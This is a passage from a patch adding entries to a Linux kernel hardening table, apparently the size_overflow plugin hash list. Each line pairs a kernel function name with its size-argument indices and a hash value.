++_002084_hash lpfc_idiag_queacc_read 3 13950 _002084_hash NULL
++_002085_hash lpfc_idiag_queinfo_read 3 55662 _002085_hash NULL
++_002086_hash lro_gen_skb 6 2644 _002086_hash NULL
++_002087_hash mac80211_format_buffer 2 41010 _002087_hash NULL
++_002088_hash macvtap_alloc_skb 2-4-3 50629 _002088_hash NULL
++_002091_hash macvtap_put_user 4 55609 _002091_hash NULL
++_002092_hash macvtap_sendmsg 4 30629 _002092_hash NULL
++_002093_hash mangle_packet 6-8 27864 _002093_hash NULL
++_002095_hash manip_pkt 3 7741 _002095_hash NULL
++_002096_hash mempool_create_kmalloc_pool 1 41650 _002096_hash NULL
++_002097_hash mempool_create_page_pool 1 30189 _002097_hash NULL
++_002098_hash mempool_create_slab_pool 1 62907 _002098_hash NULL
++_002099_hash mgmt_device_found 10 14146 _002099_hash NULL
++_002100_hash minstrel_stats_read 3 17290 _002100_hash NULL
++_002101_hash mmc_ext_csd_read 3 13205 _002101_hash NULL
++_002102_hash mon_bin_read 3 6841 _002102_hash NULL
++_002103_hash mon_stat_read 3 25238 _002103_hash NULL
++_002105_hash mqueue_read_file 3 6228 _002105_hash NULL
++_002106_hash mwifiex_debug_read 3 53074 _002106_hash NULL
++_002107_hash mwifiex_getlog_read 3 54269 _002107_hash NULL
++_002108_hash mwifiex_info_read 3 53447 _002108_hash NULL
++_002109_hash mwifiex_rdeeprom_read 3 51429 _002109_hash NULL
++_002110_hash mwifiex_regrdwr_read 3 34472 _002110_hash NULL
++_002111_hash named_prepare_buf 2 24532 _002111_hash NULL
++_002112_hash nci_send_cmd 3 58206 _002112_hash NULL
++_002113_hash netdev_alloc_skb_ip_align 2 40811 _002113_hash NULL
++_002114_hash netpoll_send_udp 3 58955 _002114_hash NULL
++_002115_hash nfcwilink_send_bts_cmd 3 10802 _002115_hash NULL
++_002116_hash nf_nat_mangle_tcp_packet 5-7 8643 _002116_hash NULL
++_002119_hash nfsd_vfs_read 6 62605 _002616_hash NULL nohasharray
++_002120_hash nfsd_vfs_write 6 54577 _002120_hash NULL
++_002121_hash nfs_idmap_lookup_id 2 10660 _002121_hash NULL
++_002122_hash ntfs_rl_realloc 3 56831 _002122_hash &_000370_hash
++_002123_hash ntfs_rl_realloc_nofail 3 32173 _002123_hash NULL
++_002124_hash o2hb_debug_read 3 37851 _002124_hash NULL
++_002125_hash o2net_debug_read 3 52105 _002125_hash NULL
++_002126_hash ocfs2_control_read 3 56405 _002126_hash NULL
++_002127_hash ocfs2_debug_read 3 14507 _002127_hash NULL
++_002128_hash oom_adjust_read 3 25127 _002128_hash NULL
++_002129_hash oom_score_adj_read 3 39921 _002426_hash NULL nohasharray
++_002130_hash oprofilefs_str_to_user 3 42182 _002130_hash NULL
++_002131_hash oprofilefs_ulong_to_user 3 11582 _002131_hash NULL
++_002132_hash osd_req_add_get_attr_list 3 49278 _002132_hash NULL
++_002133_hash _osd_req_list_objects 6 4204 _002133_hash NULL
++_002134_hash osd_req_read_kern 5 59990 _002134_hash NULL
++_002135_hash osd_req_write_kern 5 53486 _002135_hash NULL
++_002136_hash osst_read 3 40237 _002136_hash NULL
++_002137_hash p54_alloc_skb 3 34366 _002137_hash &_000485_hash
++_002138_hash p54_init_common 1 23850 _002138_hash NULL
++_002139_hash packet_alloc_skb 2-5-4 62602 _002139_hash NULL
++_002142_hash packet_sendmsg 4 24954 _002142_hash NULL
++_002143_hash page_readlink 3 23346 _002143_hash NULL
++_002144_hash pcf50633_write_block 3 2124 _002144_hash NULL
++_002145_hash pcpu_alloc_alloc_info 1-2 45813 _002145_hash NULL
++_002147_hash pep_indicate 5 38611 _002147_hash NULL
++_002148_hash pep_reply 5 50582 _002148_hash NULL
++_002149_hash pipe_handler_request 5 50774 _003582_hash NULL nohasharray
++_002150_hash platform_list_read_file 3 34734 _002150_hash NULL
++_002151_hash pm860x_bulk_write 3 43875 _002151_hash NULL
++_002152_hash pm_qos_power_read 3 55891 _002152_hash NULL
++_002153_hash port_show_regs 3 5904 _002153_hash NULL
++_002154_hash proc_coredump_filter_read 3 39153 _002154_hash NULL
++_002155_hash proc_fdinfo_read 3 62043 _002155_hash NULL
++_002156_hash proc_file_read 3 53905 _002156_hash NULL
++_002157_hash proc_info_read 3 63344 _002157_hash NULL
++_002158_hash proc_loginuid_read 3 15631 _002158_hash NULL
++_002159_hash proc_pid_attr_read 3 10173 _002159_hash NULL
++_002160_hash proc_pid_readlink 3 52186 _002160_hash NULL
++_002161_hash proc_read 3 43614 _002161_hash NULL
++_002162_hash proc_self_readlink 3 38094 _002162_hash NULL
++_002163_hash proc_sessionid_read 3 6911 _002299_hash NULL nohasharray
++_002164_hash provide_user_output 3 41105 _002164_hash NULL
++_002165_hash pskb_network_may_pull 2 35336 _002165_hash NULL
++_002166_hash pskb_pull 2 65005 _002166_hash NULL
++_002167_hash pstore_file_read 3 57288 _002167_hash NULL
++_002168_hash ql_process_mac_rx_page 4 15543 _002168_hash NULL
++_002169_hash ql_process_mac_rx_skb 4 6689 _002169_hash NULL
++_002170_hash queues_read 3 24877 _002170_hash NULL
++_002171_hash raw_recvmsg 4 17277 _002171_hash NULL
++_002172_hash rcname_read 3 25919 _002172_hash NULL
++_002173_hash read_4k_modal_eeprom 3 30212 _002173_hash NULL
++_002174_hash read_9287_modal_eeprom 3 59327 _002174_hash NULL
++_002175_hash reada_find_extent 2 63486 _002175_hash NULL
++_002176_hash read_def_modal_eeprom 3 14041 _002176_hash NULL
++_002177_hash read_enabled_file_bool 3 37744 _002177_hash NULL
++_002178_hash read_file_ani 3 23161 _002178_hash NULL
++_002179_hash read_file_antenna 3 13574 _002179_hash NULL
++_002180_hash read_file_base_eeprom 3 42168 _002180_hash NULL
++_002181_hash read_file_beacon 3 32595 _002181_hash NULL
++_002182_hash read_file_blob 3 57406 _002182_hash NULL
++_002183_hash read_file_bool 3 4180 _002183_hash NULL
++_002184_hash read_file_credit_dist_stats 3 54367 _002184_hash NULL
++_002185_hash read_file_debug 3 58256 _002185_hash NULL
++_002186_hash read_file_disable_ani 3 6536 _002186_hash NULL
++_002187_hash read_file_dma 3 9530 _002187_hash NULL
++_002188_hash read_file_dump_nfcal 3 18766 _002188_hash NULL
++_002189_hash read_file_frameerrors 3 64001 _002189_hash NULL
++_002190_hash read_file_interrupt 3 61742 _002197_hash NULL nohasharray
++_002191_hash read_file_misc 3 9948 _002191_hash NULL
++_002192_hash read_file_modal_eeprom 3 39909 _002192_hash NULL
++_002193_hash read_file_queue 3 40895 _002193_hash NULL
++_002194_hash read_file_rcstat 3 22854 _002194_hash NULL
++_002195_hash read_file_recv 3 48232 _002195_hash NULL
++_002196_hash read_file_regidx 3 33370 _002196_hash NULL
++_002197_hash read_file_regval 3 61742 _002197_hash &_002190_hash
++_002198_hash read_file_reset 3 52310 _002198_hash NULL
++_002199_hash read_file_rx_chainmask 3 41605 _002199_hash NULL
++_002200_hash read_file_slot 3 50111 _002200_hash NULL
++_002201_hash read_file_stations 3 35795 _002201_hash NULL
++_002202_hash read_file_tgt_int_stats 3 20697 _002202_hash NULL
++_002203_hash read_file_tgt_rx_stats 3 33944 _002203_hash NULL
++_002204_hash read_file_tgt_stats 3 8959 _002204_hash NULL
++_002205_hash read_file_tgt_tx_stats 3 51847 _002205_hash NULL
++_002206_hash read_file_tx_chainmask 3 3829 _002206_hash NULL
++_002207_hash read_file_war_stats 3 292 _002207_hash NULL
++_002208_hash read_file_xmit 3 21487 _002208_hash NULL
++_002209_hash read_flush_pipefs 3 20171 _002209_hash NULL
++_002210_hash read_flush_procfs 3 27642 _002210_hash NULL
++_002211_hash read_from_oldmem 2 3337 _002211_hash NULL
++_002212_hash read_oldmem 3 55658 _002212_hash NULL
++_002213_hash receive_packet 2 12367 _002213_hash NULL
++_002214_hash regmap_name_read_file 3 39379 _002214_hash NULL
++_002215_hash repair_io_failure 4 4815 _002215_hash NULL
++_002216_hash request_key_and_link 4 42693 _002216_hash NULL
++_002217_hash res_counter_read 4 33499 _002217_hash NULL
++_002218_hash rfcomm_tty_write 3 51603 _002218_hash NULL
++_002219_hash rs_sta_dbgfs_rate_scale_data_read 3 47165 _002219_hash NULL
++_002220_hash rs_sta_dbgfs_scale_table_read 3 40262 _002220_hash NULL
++_002221_hash rs_sta_dbgfs_stats_table_read 3 56573 _002221_hash NULL
++_002222_hash rts_threshold_read 3 44384 _002222_hash NULL
++_002223_hash rxrpc_sendmsg 4 29049 _002223_hash NULL
++_002224_hash scrub_setup_recheck_block 3-4 56245 _002224_hash NULL
++_002226_hash scsi_adjust_queue_depth 3 12802 _002226_hash NULL
++_002227_hash sctp_make_abort 3 34459 _002227_hash NULL
++_002228_hash sctp_make_asconf 3 4078 _002228_hash NULL
++_002229_hash sctp_make_asconf_ack 3 31726 _002229_hash NULL
++_002230_hash sctp_make_datafrag_empty 3 34737 _002230_hash NULL
++_002231_hash sctp_make_fwdtsn 3 53265 _002231_hash NULL
++_002232_hash sctp_make_heartbeat_ack 4 34411 _002232_hash NULL
++_002233_hash sctp_make_init 4 58401 _002233_hash NULL
++_002234_hash sctp_make_init_ack 4 3335 _002234_hash NULL
++_002235_hash sctp_make_op_error_space 3 5528 _002235_hash NULL
++_002236_hash sctp_manip_pkt 2 40620 _002236_hash NULL
++_002237_hash selinux_inode_notifysecctx 3 36896 _002237_hash NULL
++_002238_hash sel_read_avc_cache_threshold 3 33942 _002238_hash NULL
++_002239_hash sel_read_avc_hash_stats 3 1984 _002239_hash NULL
++_002240_hash sel_read_bool 3 24236 _002240_hash NULL
++_002241_hash sel_read_checkreqprot 3 33068 _002241_hash NULL
++_002242_hash sel_read_class 3 12669 _002960_hash NULL nohasharray
++_002243_hash sel_read_enforce 3 2828 _002243_hash NULL
++_002244_hash sel_read_handle_status 3 56139 _002244_hash NULL
++_002245_hash sel_read_handle_unknown 3 57933 _002245_hash NULL
++_002246_hash sel_read_initcon 3 32362 _002246_hash NULL
++_002247_hash sel_read_mls 3 25369 _002247_hash NULL
++_002248_hash sel_read_perm 3 42302 _002248_hash NULL
++_002249_hash sel_read_policy 3 55947 _002249_hash NULL
++_002250_hash sel_read_policycap 3 28544 _002250_hash NULL
++_002251_hash sel_read_policyvers 3 55 _002827_hash NULL nohasharray
++_002252_hash send_mpa_reject 3 7135 _002252_hash NULL
++_002253_hash send_mpa_reply 3 32372 _002253_hash NULL
++_002254_hash send_msg 4 37323 _002254_hash NULL
++_002255_hash send_packet 4 52960 _002255_hash NULL
++_002256_hash set_rxd_buffer_pointer 8 9950 _002256_hash NULL
++_002257_hash sge_rx 3 50594 _002257_hash NULL
++_002258_hash short_retry_limit_read 3 4687 _002258_hash NULL
++_002259_hash simple_attr_read 3 24738 _002259_hash NULL
++_002260_hash simple_transaction_read 3 17076 _002260_hash NULL
++_002261_hash sisusbcon_bmove 5-7-6 21873 _002261_hash NULL
++_002264_hash sisusbcon_clear 3-5-4 64329 _002264_hash NULL
++_002267_hash sisusbcon_putcs 3 57630 _002267_hash &_001043_hash
++_002268_hash sisusbcon_scroll 5-3-2 31315 _002268_hash NULL
++_002269_hash sisusbcon_scroll_area 3-4 25899 _002269_hash NULL
++_002271_hash skb_copy_datagram_const_iovec 2-5-4 48102 _002271_hash NULL
++_002274_hash skb_copy_datagram_iovec 2-4 5806 _002274_hash NULL
++_002276_hash skb_gro_header_slow 2 34958 _002276_hash NULL
++_002277_hash smk_read_ambient 3 61220 _002277_hash NULL
++_002278_hash smk_read_direct 3 15803 _002278_hash NULL
++_002279_hash smk_read_doi 3 30813 _002279_hash NULL
++_002280_hash smk_read_logging 3 37804 _002280_hash NULL
++_002281_hash smk_read_mapped 3 7562 _002281_hash NULL
++_002282_hash smk_read_onlycap 3 3855 _002282_hash NULL
++_002283_hash smp_build_cmd 3 45853 _002283_hash NULL
++_002284_hash snapshot_read 3 22601 _002284_hash NULL
++_002285_hash snd_cs4281_BA0_read 5 6847 _002285_hash NULL
++_002286_hash snd_cs4281_BA1_read 5 20323 _002286_hash NULL
++_002287_hash snd_cs46xx_io_read 5 45734 _002287_hash NULL
++_002288_hash snd_gus_dram_read 4 56686 _002288_hash NULL
++_002289_hash snd_mixart_BA0_read 5 45069 _002289_hash NULL
++_002290_hash snd_mixart_BA1_read 5 5082 _002290_hash NULL
++_002291_hash snd_pcm_oss_read 3 28317 _002291_hash NULL
++_002292_hash snd_pcm_plug_alloc 2 42339 _002292_hash NULL
++_002293_hash snd_rawmidi_kernel_read 3 4328 _002293_hash NULL
++_002294_hash snd_rawmidi_read 3 56337 _002294_hash NULL
++_002295_hash snd_rme32_capture_copy 5 39653 _002295_hash NULL
++_002296_hash snd_rme96_capture_copy 5 58484 _002296_hash NULL
++_002297_hash snd_soc_hw_bulk_write_raw 4 14245 _002297_hash NULL
++_002298_hash sock_alloc_send_skb 2 23720 _002298_hash NULL
++_002299_hash spi_show_regs 3 6911 _002299_hash &_002163_hash
++_002300_hash sta_agg_status_read 3 14058 _002300_hash NULL
++_002301_hash sta_connected_time_read 3 17435 _002301_hash NULL
++_002302_hash sta_flags_read 3 56710 _002302_hash NULL
++_002303_hash sta_ht_capa_read 3 10366 _002303_hash NULL
++_002304_hash sta_last_seq_ctrl_read 3 19106 _002304_hash NULL
++_002305_hash sta_num_ps_buf_frames_read 3 1488 _002305_hash NULL
++_002306_hash st_read 3 51251 _002306_hash NULL
++_002307_hash supply_map_read_file 3 10608 _002307_hash NULL
++_002308_hash sysfs_read_file 3 42113 _002308_hash NULL
++_002309_hash sys_preadv 3 17100 _002309_hash NULL
++_002310_hash sys_pwritev 3 41722 _002310_hash NULL
++_002311_hash sys_readv 3 50664 _002311_hash NULL
++_002312_hash sys_rt_sigpending 2 24961 _002312_hash NULL
++_002313_hash sys_writev 3 28384 _002313_hash NULL
++_002314_hash tcf_csum_skb_nextlayer 3 64025 _002314_hash NULL
++_002315_hash tcp_fragment 3 20436 _002315_hash NULL
++_002316_hash tcp_manip_pkt 2 14202 _002316_hash NULL
++_002317_hash teiup_create 3 43201 _002317_hash NULL
++_002318_hash test_iso_queue 5 62534 _002318_hash NULL
++_002319_hash tg3_run_loopback 2 30093 _002319_hash NULL
++_002320_hash tipc_msg_build 4 12326 _002320_hash NULL
++_002321_hash TSS_authhmac 3 12839 _002321_hash NULL
++_002322_hash TSS_checkhmac1 5 31429 _002322_hash NULL
++_002323_hash TSS_checkhmac2 5-7 40520 _002323_hash NULL
++_002325_hash tty_audit_log 8 47280 _002325_hash NULL
++_002326_hash tty_buffer_request_room 2 23228 _002326_hash NULL
++_002327_hash tty_insert_flip_string_fixed_flag 4 37428 _002327_hash NULL
++_002328_hash tty_insert_flip_string_flags 4 30969 _002328_hash NULL
++_002329_hash tty_prepare_flip_string 3 39955 _002329_hash NULL
++_002330_hash tty_prepare_flip_string_flags 4 59240 _002330_hash NULL
++_002331_hash tun_alloc_skb 2-4-3 41216 _002331_hash NULL
++_002334_hash tun_sendmsg 4 10337 _002334_hash NULL
++_002335_hash u32_array_read 3 2219 _002335_hash NULL
++_002336_hash ubi_io_write_data 4-5 40305 _002336_hash NULL
++_002338_hash udplite_manip_pkt 2 62433 _002338_hash NULL
++_002339_hash udp_manip_pkt 2 50770 _002339_hash NULL
++_002340_hash uhci_debug_read 3 5911 _002340_hash NULL
++_002341_hash um_idi_read 3 850 _002341_hash NULL
++_002342_hash unix_seqpacket_sendmsg 4 27893 _002342_hash NULL
++_002343_hash unix_stream_recvmsg 4 35210 _002343_hash NULL
++_002344_hash unlink_simple 3 47506 _002344_hash NULL
++_002345_hash use_pool 2 64607 _002345_hash NULL
++_002346_hash v9fs_fid_readn 4 60544 _002346_hash NULL
++_002347_hash v9fs_file_read 3 40858 _002347_hash NULL
++_002348_hash vhci_read 3 47878 _002348_hash NULL
++_002349_hash vhost_add_used_and_signal_n 4 8038 _002349_hash NULL
++_002350_hash vmbus_open 2-3 12154 _002350_hash NULL
++_002352_hash vxge_rx_alloc 3 52024 _002352_hash NULL
++_002353_hash waiters_read 3 40902 _002353_hash NULL
++_002354_hash wm8994_bulk_write 3 13615 _002354_hash NULL
++_002355_hash write_pbl 4 59583 _002355_hash NULL
++_002356_hash wusb_prf_256 7 29203 _002356_hash NULL
++_002357_hash wusb_prf_64 7 51065 _002357_hash NULL
++_002358_hash _xfs_buf_alloc 3 38058 _002358_hash NULL
++_002359_hash xfs_buf_read_uncached 3 42844 _002359_hash NULL
++_002360_hash xfs_file_buffered_aio_write 4 11492 _002360_hash NULL
++_002361_hash xfs_iext_add 3 41422 _002361_hash NULL
++_002362_hash xfs_iext_remove_direct 3 40744 _002362_hash NULL
++_002363_hash xfs_readdir 3 41200 _002363_hash NULL
++_002364_hash xfs_trans_get_efd 3 51148 _002364_hash NULL
++_002365_hash xfs_trans_get_efi 2 7898 _002365_hash NULL
++_002366_hash xlog_bread_offset 3 60030 _002366_hash NULL
++_002367_hash xlog_get_bp 2 23229 _002367_hash NULL
++_002368_hash xz_dec_init 2 29029 _002368_hash NULL
++_002369_hash aac_change_queue_depth 2 825 _002369_hash NULL
++_002370_hash add_rx_skb 3 8257 _002370_hash NULL
++_002371_hash afs_extract_data 5 50261 _002371_hash NULL
++_002372_hash arcmsr_adjust_disk_queue_depth 2 16756 _002372_hash NULL
++_002373_hash atalk_recvmsg 4 22053 _002373_hash NULL
++_002374_hash ath6kl_buf_alloc 1 57304 _002374_hash NULL
++_002376_hash atomic_read_file 3 16227 _002376_hash NULL
++_002377_hash ax25_recvmsg 4 64441 _002377_hash NULL
++_002378_hash batadv_add_packet 3 12136 _002378_hash NULL
++_002379_hash batadv_iv_ogm_aggregate_new 2 54761 _002379_hash NULL
++_002380_hash batadv_tt_response_fill_table 1 39236 _002380_hash NULL
++_002381_hash beiscsi_process_async_pdu 7 39834 _002381_hash NULL
++_002382_hash bioset_create 1 5580 _002382_hash NULL
++_002383_hash bioset_integrity_create 2 62708 _002383_hash NULL
++_002384_hash biovec_create_pools 2 9575 _002384_hash NULL
++_002385_hash bnx2fc_process_l2_frame_compl 3 65072 _002385_hash NULL
++_002386_hash brcmf_sdbrcm_died_dump 3 15841 _002386_hash NULL
++_002387_hash brcmu_pkt_buf_get_skb 1 5556 _002387_hash NULL
++_002388_hash br_send_bpdu 3 29669 _002388_hash NULL
++_002389_hash btrfs_error_discard_extent 2 50444 _002389_hash NULL
++_002390_hash __btrfs_free_reserved_extent 2 31207 _002390_hash NULL
++_002391_hash btrfsic_cmp_log_and_dev_bytenr 2 49628 _002391_hash NULL
++_002392_hash btrfsic_create_link_to_next_block 4 58246 _002392_hash NULL
++_002393_hash btrfs_init_new_buffer 4 55761 _002393_hash NULL
++_002394_hash btrfs_mksubvol 3 58240 _002394_hash NULL
++_002395_hash bt_skb_send_alloc 2 6581 _002395_hash NULL
++_002396_hash bt_sock_recvmsg 4 12316 _002396_hash NULL
++_002397_hash bt_sock_stream_recvmsg 4 52518 _002397_hash NULL
++_002398_hash c4iw_reject_cr 3 28174 _002398_hash NULL
++_002399_hash caif_seqpkt_recvmsg 4 32241 _002399_hash NULL
++_002400_hash carl9170_rx_copy_data 2 21656 _002400_hash NULL
++_002401_hash cfpkt_append 3 61206 _002401_hash NULL
++_002402_hash cfpkt_setlen 2 49343 _002402_hash NULL
++_002403_hash cgroup_file_read 3 28804 _002403_hash NULL
++_002404_hash cosa_net_setup_rx 2 38594 _002404_hash NULL
++_002405_hash cpu_type_read 3 36540 _002405_hash NULL
++_002406_hash cxgb4_pktgl_to_skb 2 61899 _002406_hash NULL
++_002408_hash dccp_recvmsg 4 16056 _002408_hash NULL
++_002409_hash ddp_clear_map 4 46152 _002409_hash NULL
++_002410_hash ddp_set_map 4 751 _002410_hash NULL
++_002411_hash depth_read 3 31112 _002411_hash NULL
++_002412_hash dfs_global_file_read 3 7787 _002412_hash NULL
++_002413_hash dgram_recvmsg 4 23104 _002413_hash NULL
++_002414_hash diva_init_dma_map 3 58336 _002414_hash NULL
++_002415_hash divas_write 3 63901 _002415_hash NULL
++_002416_hash dma_push_rx 2 39973 _002416_hash NULL
++_002417_hash dma_skb_copy_datagram_iovec 3-5 21516 _002417_hash NULL
++_002419_hash dm_table_create 3 35687 _002419_hash NULL
++_002420_hash dn_alloc_send_pskb 2 4465 _002420_hash NULL
++_002421_hash dn_nsp_return_disc 2 60296 _002421_hash NULL
++_002422_hash dn_nsp_send_disc 2 23469 _002422_hash NULL
++_002423_hash dsp_tone_hw_message 3 17678 _002423_hash NULL
++_002424_hash e1000_check_copybreak 3 62448 _002424_hash NULL
++_002425_hash enable_read 3 2117 _002425_hash &_000224_hash
++_002426_hash exofs_read_kern 6 39921 _002426_hash &_002129_hash
++_002427_hash fast_rx_path 3 59214 _002427_hash NULL
++_002428_hash fc_change_queue_depth 2 36841 _002428_hash NULL
++_002429_hash fc_fcp_frame_alloc 2 12624 _002429_hash NULL
++_002430_hash fcoe_ctlr_send_keep_alive 3 15308 _002430_hash NULL
++_002431_hash frequency_read 3 64031 _003698_hash NULL nohasharray
++_002432_hash ftdi_process_packet 5 45005 _002432_hash NULL
++_002433_hash fuse_conn_congestion_threshold_read 3 51028 _002433_hash NULL
++_002434_hash fuse_conn_max_background_read 3 10855 _002434_hash NULL
++_002435_hash fwnet_incoming_packet 3 40380 _002435_hash NULL
++_002436_hash fwnet_pd_new 4 39947 _003402_hash NULL nohasharray
++_002437_hash get_alua_req 3 4166 _002437_hash NULL
++_002438_hash get_rdac_req 3 45882 _002438_hash NULL
++_002439_hash got_frame 2 16028 _002439_hash NULL
++_002440_hash gsm_mux_rx_netchar 3 33336 _002440_hash NULL
++_002441_hash hci_sock_recvmsg 4 7072 _002441_hash NULL
++_002442_hash hdlcdev_rx 3 997 _002442_hash NULL
++_002443_hash hdlc_empty_fifo 2 18397 _002443_hash NULL
++_002444_hash hfc_empty_fifo 2 57972 _002444_hash NULL
++_002445_hash hfcpci_empty_fifo 4 2427 _002445_hash NULL
++_002446_hash hfcsusb_rx_frame 3 52745 _002446_hash NULL
++_002447_hash hidp_output_raw_report 3 5629 _002447_hash NULL
++_002448_hash hpsa_change_queue_depth 2 15449 _002448_hash NULL
++_002449_hash hptiop_adjust_disk_queue_depth 2 20122 _002449_hash NULL
++_002450_hash hscx_empty_fifo 2 13360 _002450_hash NULL
++_002451_hash hysdn_rx_netpkt 3 16136 _002451_hash NULL
++_002452_hash i2o_pool_alloc 4 55485 _002452_hash NULL
++_002453_hash ide_queue_pc_tail 5 11673 _002453_hash NULL
++_002454_hash ide_raw_taskfile 4 42355 _002454_hash NULL
++_002455_hash idetape_queue_rw_tail 3 29562 _002455_hash NULL
++_002456_hash ieee80211_amsdu_to_8023s 5 15561 _002456_hash NULL
++_002457_hash ieee80211_fragment 4 33112 _002457_hash NULL
++_002458_hash ieee80211_if_read_aid 3 9705 _002458_hash NULL
++_002459_hash ieee80211_if_read_auto_open_plinks 3 38268 _002459_hash &_000374_hash
++_002460_hash ieee80211_if_read_ave_beacon 3 64924 _002460_hash NULL
++_002461_hash ieee80211_if_read_bssid 3 35161 _002461_hash NULL
++_002462_hash ieee80211_if_read_channel_type 3 23884 _002462_hash NULL
++_002463_hash ieee80211_if_read_dot11MeshConfirmTimeout 3 60670 _002463_hash NULL
++_002464_hash ieee80211_if_read_dot11MeshForwarding 3 13940 _002464_hash NULL
++_002465_hash ieee80211_if_read_dot11MeshGateAnnouncementProtocol 3 14486 _002465_hash NULL
++_002466_hash ieee80211_if_read_dot11MeshHoldingTimeout 3 47356 _002466_hash NULL
++_002467_hash ieee80211_if_read_dot11MeshHWMPactivePathTimeout 3 7368 _002467_hash NULL
++_002468_hash ieee80211_if_read_dot11MeshHWMPactivePathToRootTimeout 3 17618 _002468_hash NULL
++_002469_hash ieee80211_if_read_dot11MeshHWMPconfirmationInterval 3 57722 _002469_hash NULL
++_002470_hash ieee80211_if_read_dot11MeshHWMPmaxPREQretries 3 59829 _002470_hash NULL
++_002471_hash ieee80211_if_read_dot11MeshHWMPnetDiameterTraversalTime 3 1589 _002471_hash NULL
++_002472_hash ieee80211_if_read_dot11MeshHWMPperrMinInterval 3 17346 _002472_hash NULL
++_002473_hash ieee80211_if_read_dot11MeshHWMPpreqMinInterval 3 24208 _002473_hash NULL
++_002474_hash ieee80211_if_read_dot11MeshHWMPRannInterval 3 2249 _002474_hash NULL
++_002475_hash ieee80211_if_read_dot11MeshHWMProotInterval 3 27873 _002475_hash NULL
++_002476_hash ieee80211_if_read_dot11MeshHWMPRootMode 3 51441 _002476_hash NULL
++_002477_hash ieee80211_if_read_dot11MeshMaxPeerLinks 3 23878 _002477_hash NULL
++_002478_hash ieee80211_if_read_dot11MeshMaxRetries 3 12756 _002478_hash NULL
++_002479_hash ieee80211_if_read_dot11MeshRetryTimeout 3 52168 _002479_hash NULL
++_002480_hash ieee80211_if_read_dot11MeshTTL 3 58307 _002480_hash NULL
++_002481_hash ieee80211_if_read_dropped_frames_congestion 3 32603 _002481_hash NULL
++_002482_hash ieee80211_if_read_dropped_frames_no_route 3 33383 _002482_hash NULL
++_002483_hash ieee80211_if_read_dropped_frames_ttl 3 44500 _002483_hash NULL
++_002484_hash ieee80211_if_read_drop_unencrypted 3 37053 _002484_hash NULL
++_002485_hash ieee80211_if_read_dtim_count 3 38419 _002485_hash NULL
++_002486_hash ieee80211_if_read_element_ttl 3 18869 _002486_hash NULL
++_002487_hash ieee80211_if_read_estab_plinks 3 32533 _002487_hash NULL
++_002488_hash ieee80211_if_read_flags 3 57470 _002919_hash NULL nohasharray
++_002489_hash ieee80211_if_read_fwded_frames 3 36520 _002489_hash NULL
++_002490_hash ieee80211_if_read_fwded_mcast 3 39571 _002490_hash &_000162_hash
++_002491_hash ieee80211_if_read_fwded_unicast 3 59740 _002491_hash &_001697_hash
++_002492_hash ieee80211_if_read_ht_opmode 3 29044 _002492_hash NULL
++_002493_hash ieee80211_if_read_last_beacon 3 31257 _002493_hash NULL
++_002494_hash ieee80211_if_read_min_discovery_timeout 3 13946 _002494_hash NULL
++_002495_hash ieee80211_if_read_num_buffered_multicast 3 12716 _002495_hash NULL
++_002496_hash ieee80211_if_read_num_mcast_sta 3 12419 _002496_hash NULL
++_002497_hash ieee80211_if_read_num_sta_ps 3 34722 _002497_hash NULL
++_002498_hash ieee80211_if_read_path_refresh_time 3 25545 _002498_hash NULL
++_002499_hash ieee80211_if_read_peer 3 45233 _002499_hash NULL
++_002500_hash ieee80211_if_read_rc_rateidx_mask_2ghz 3 61570 _002500_hash NULL
++_002501_hash ieee80211_if_read_rc_rateidx_mask_5ghz 3 27183 _002501_hash NULL
++_002502_hash ieee80211_if_read_rc_rateidx_mcs_mask_2ghz 3 37675 _002502_hash NULL
++_002503_hash ieee80211_if_read_rc_rateidx_mcs_mask_5ghz 3 44423 _002503_hash NULL
++_002504_hash ieee80211_if_read_rssi_threshold 3 49260 _002504_hash NULL
++_002505_hash ieee80211_if_read_smps 3 27416 _002505_hash NULL
++_002506_hash ieee80211_if_read_state 3 9813 _002707_hash NULL nohasharray
++_002507_hash ieee80211_if_read_tkip_mic_test 3 19565 _002507_hash NULL
++_002508_hash ieee80211_if_read_tsf 3 16420 _002508_hash NULL
++_002509_hash ieee80211_if_read_uapsd_max_sp_len 3 15067 _002509_hash NULL
++_002510_hash ieee80211_if_read_uapsd_queues 3 55150 _002510_hash NULL
++_002511_hash ieee80211_mgmt_tx 9 46860 _002511_hash NULL
++_002512_hash ieee80211_probereq_get 4-6 29069 _002512_hash NULL
++_002514_hash ieee80211_rx_mgmt_beacon 3 24430 _002514_hash NULL
++_002515_hash ieee80211_rx_mgmt_probe_resp 3 6918 _002515_hash NULL
++_002516_hash ieee80211_send_auth 5 24121 _002516_hash NULL
++_002517_hash ieee80211_set_probe_resp 3 10077 _002517_hash NULL
++_002518_hash ieee80211_tdls_mgmt 8 9581 _002518_hash NULL
++_002519_hash ima_show_htable_violations 3 10619 _002519_hash NULL
++_002520_hash ima_show_measurements_count 3 23536 _002520_hash NULL
++_002521_hash insert_one_name 7 61668 _002521_hash NULL
++_002522_hash ip6_ufo_append_data 5-7-6 4780 _002522_hash NULL
++_002525_hash ip_append_data 5-6 16942 _002525_hash NULL
++_002526_hash ip_make_skb 5-6 13129 _002526_hash NULL
++_002527_hash ip_nat_sdp_port 6 52938 _002527_hash NULL
++_002528_hash ip_nat_sip_expect 7 45693 _002528_hash NULL
++_002529_hash ipr_change_queue_depth 2 6431 _002529_hash NULL
++_002530_hash ip_recv_error 3 23109 _002530_hash NULL
++_002531_hash ip_ufo_append_data 6-8-7 12775 _002531_hash NULL
++_002534_hash ipv6_recv_error 3 56347 _002534_hash NULL
++_002535_hash ipv6_recv_rxpmtu 3 7142 _002535_hash NULL
++_002536_hash ipw_packet_received_skb 2 1230 _002536_hash NULL
++_002537_hash ipx_recvmsg 4 44366 _002537_hash NULL
++_002538_hash irda_recvmsg_dgram 4 32631 _002538_hash NULL
++_002539_hash iscsi_change_queue_depth 2 23416 _002539_hash NULL
++_002540_hash iscsi_complete_pdu 4 48372 _002540_hash NULL
++_002541_hash iwch_reject_cr 3 23901 _002541_hash NULL
++_002542_hash ixgb_check_copybreak 3 5847 _002542_hash NULL
++_002543_hash key_conf_hw_key_idx_read 3 25003 _002543_hash NULL
++_002544_hash key_conf_keyidx_read 3 42443 _002544_hash NULL
++_002545_hash key_conf_keylen_read 3 49758 _002545_hash NULL
++_002546_hash key_flags_read 3 25931 _002546_hash NULL
++_002547_hash key_ifindex_read 3 31411 _002547_hash NULL
++_002548_hash key_tx_rx_count_read 3 44742 _002548_hash NULL
++_002549_hash kmsg_read 3 46514 _002549_hash NULL
++_002550_hash l1oip_socket_parse 4 4507 _002550_hash NULL
